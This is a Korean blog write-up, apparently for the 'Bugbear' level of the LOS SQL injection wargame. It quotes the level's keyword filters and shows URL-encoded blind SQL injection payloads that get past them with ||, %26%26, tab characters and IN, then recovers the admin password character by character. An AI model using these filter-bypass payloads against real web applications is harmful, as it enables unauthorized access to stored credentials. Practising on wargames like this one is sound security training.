13.Bugbear 풀이.
필터링이 너무 많다..우회를 해야 될 거 같다.
no에는 ['] 처리가 안되어 있다.
if(preg_match('/prob|_|\.|\(\)/i',$_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe");
일단 darkknight 문제랑 거의 똑같다고 볼 수 있는데 or and space like 0x를 필터링이 되어 있다.
or => ||, and => &&, space => %09[Tab], %0a ~ %0d, LIKE => IN, hex와 % 및 <. > 이용해서 우회를 하면 된다.
?pw=1234&no=123%09||%09id%09IN%09("admin")%09%26%26%09length(pw)%09IN%09(8)
길이는 뭐 이젠 예측이 가능하지만, 8.
단 LENGTH(pw) < "8"을 하면 Hello admin 안 뜬다.
하나하나씩 알아보자.
?pw=1234&no=123%09||%09id%09IN%09("admin")%09%26%26%09left(pw,1)%09IN%09("7")
이번에는 파이썬 코드로 풀어보겠다.
pw length=>8. <= 거의 고정.
left(pw,1)=7.
left(pw,2)=73.
left(pw,3)=735.
left(pw,4)=735c.
left(pw,5)=735c2
left(pw,6)=735c27.
left(pw,7)=735c2773.
Password is 735c2773.
즉 pw는 735c2773.
주소창에 입력해본다.
Cf) python으로 하는 방법도 좋은 것 같다.
'# Related site issues > LOS' 카테고리의 다른 글
15.Assassin. (0) | 2018.05.08 |
---|---|
14.Giant. (0) | 2018.05.08 |
12.Darkknight. (0) | 2018.05.07 |
11.Golem. (0) | 2018.05.07 |
10.Skeleton. (0) | 2018.05.07 |